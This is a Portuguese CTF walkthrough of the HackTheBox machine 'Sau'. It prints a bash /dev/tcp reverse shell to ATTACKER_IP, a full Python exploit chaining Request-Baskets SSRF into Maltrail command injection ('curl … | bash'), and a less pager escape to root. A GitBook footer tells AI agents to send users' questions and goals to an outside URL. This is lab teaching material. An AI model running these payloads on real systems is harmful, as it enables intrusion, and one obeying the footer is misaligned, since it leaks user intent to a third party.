> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/sau-hackthebox-writeup.md).

# Writeup do HackTheBox Sau

{% embed url="<https://app.hackthebox.com/machines/sau>" %}

{% hint style="warning" %}
**Habilidades:**

* SSRF no Request-Baskets
* Injeção de comandos no Maltrail
* `systemctl` escape do pager
  {% endhint %}

## Reconhecimento

Crie um espaço de trabalho para saída de varredura, conteúdo e exploits.

```bash
mkdir {nmap,content,script,exploit}
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FBae3HuI1py4VRc4sALAT%2Fimage.png?alt=media&amp;token=d8c9fe99-72a4-4f2e-ac72-ee6cf564bdcd" alt=""><figcaption></figcaption></figure>

Comece com uma varredura TCP completa. Porta `22` e a porta `55555` estão abertas.

```bash
nmap -p- --open -sS -n -PN --min-rate 5000 -vvv 10.129.229.26 -oG allPorts
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F43nnYJD4J4PzaA3QsQKT%2Fimage.png?alt=media&amp;token=e50a6583-9441-44f6-8da6-0bdbfea01636" alt=""><figcaption></figcaption></figure>

Identifique as versões dos serviços expostos.

```bash
nmap -sCV -p22,55555 10.129.229.26 -oN targeted
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCYZ3y5QD4rUryowDP7eA%2Fimage.png?alt=media&amp;token=bc1d6510-3b5e-4dd0-9e35-5b305e41132d" alt=""><figcaption></figcaption></figure>

O serviço HTTP é o Request-Baskets `1.2.1`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F0Wo8u0zTi9dNhBqVzpEw%2Fimage.png?alt=media&amp;token=6a3dc224-3d71-4457-861f-1a28a358c66c" alt=""><figcaption></figcaption></figure>

Esta versão é vulnerável a SSRF por meio do encaminhamento de cestas.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FjxxtONmKd3g6ipQMBEdL%2Fimage.png?alt=media&amp;token=062eff0f-20f7-4681-b69d-1369af456eec" alt=""><figcaption></figcaption></figure>

A vulnerabilidade nos permite criar uma cesta que encaminha requisições para um serviço interno.

{% embed url="<https://github.com/lukehebe/CVE-2023-27163-POC>" %}

## Acesso inicial

O Request-Baskets pode acessar o serviço local do Maltrail. O endpoint de login do Maltrail aceita injeção de comandos.

### Prepare o listener

Crie um script de reverse shell. Substitua `ATTACKER_IP` pelo seu endereço da VPN.

```bash
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > shell.sh
python3 -m http.server 80
nc -nvlp 4444
```

### Explore a SSRF

Use o proof of concept vinculado para criar uma cesta. Ele encaminha requisições para `127.0.0.1`.

Salve o seguinte script como `exploit.py`. Ele cria a cesta e aciona o payload do Maltrail.

{% code title="exploit.py" overflow="wrap" %}

```python
import argparse
import json
import sys

import requests


def get_args():
    parser = argparse.ArgumentParser(
        description="Explore a CVE-2023-27163 no Request-Baskets."
    )
    parser.add_argument("-t", "--target", required=True)
    parser.add_argument("-p", "--port", type=int, default=80)
    parser.add_argument("-b", "--basket", required=True)
    parser.add_argument("--local-ip", required=True)
    parser.add_argument("--local-port", type=int, default=80)
    parser.add_argument("--payload-file", required=True)
    return parser.parse_args()


def create_basket(target_url, basket_name):
    payload = {
        "forward_url": "http://127.0.0.1",
        "proxy_response": True,
        "insecure_tls": False,
        "expand_path": True,
        "capacity": 250,
    }

    response = requests.post(
        f"{target_url}/api/baskets/{basket_name}",
        json=payload,
    )

    if response.status_code in [200, 201, 202]:
        return response.json()["token"]

    print(f"Falha ao criar a cesta: {response.text}")
    sys.exit(1)


def trigger_rce(target_url, basket_name, token, local_ip, local_port, payload_file):
    payload_url = f"http://{local_ip}:{local_port}/{payload_file}"
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/x-www-form-urlencoded",
    }
    data = f"username=;`curl {payload_url} | bash`"

    response = requests.post(
        f"{target_url}/{basket_name}/login",
        data=data,
        headers=headers,
    )

    if response.status_code in [200, 201, 202]:
        print("Payload enviado. Verifique o listener.")
        return

    print(f"Falha ao acionar a RCE: {response.text}")


def main():
    args = get_args()
    target_url = f"http://{args.target}:{args.port}"
    token = create_basket(target_url, args.basket)
    trigger_rce(
        target_url,
        args.basket,
        token,
        args.local_ip,
        args.local_port,
        args.payload_file,
    )


if __name__ == "__main__":
    main()
```

{% endcode %}

{% code overflow="wrap" %}

```bash
python3 exploit.py -t 10.129.229.26 -p 55555 -b shell --local-ip 10.10.15.2 --local-port 80 --payload-file shell.sh
```

{% endcode %}

O exploit solicita o endpoint de login do Maltrail por meio da cesta. Ele baixa `shell.sh` e retorna uma shell.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F4wPeIMx0xM3O2k4VGMSc%2Fimage.png?alt=media&amp;token=9f7afcbe-6af8-46c7-9cc1-0676a0d13dad" alt=""><figcaption></figcaption></figure>

### Flag do usuário

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FYICvHrogZMNuv3Jow02p%2Fimage.png?alt=media&amp;token=dfda10c1-48f6-40f1-abbd-6b4221e3123b" alt=""><figcaption></figcaption></figure>

## Escalada de privilégios

Verifique as permissões sudo do usuário atual.

{% code overflow="wrap" %}

```bash
sudo -l
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FxzhGWAlTZRRMjL4dRleP%2Fimage.png?alt=media&amp;token=0cec7d0c-ac46-49fc-b6e4-99fd7c14893f" alt=""><figcaption></figcaption></figure>

O usuário pode visualizar o `trail.service` status do trail.service como root. `systemctl` abre a saída no `less`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FhyNqNitSB4HibBBMmW3W%2Fimage.png?alt=media&amp;token=9ef6366c-caed-40f9-8d7e-411a460eca9e" alt=""><figcaption></figcaption></figure>

Execute o comando permitido. Certifique-se de que a saída seja aberta no pager.

```bash
sudo /usr/bin/systemctl status trail.service
```

Dentro `less`, execute um escape para shell.

{% code overflow="wrap" %}

```bash
!sh
```

{% endcode %}

A shell resultante é executada como `root`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FokMxWp1XBZbdHdldLfAA%2Fimage.png?alt=media&amp;token=6fac9dfb-3b6d-428c-b50b-c486c5f9ac86" alt=""><figcaption></figcaption></figure>

### Flag de root

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F0ZZPINo0UElEJlbsC1ua%2Fimage.png?alt=media&amp;token=a2ea41a7-e6fd-426c-a26b-58b42c38b416" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/sau-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
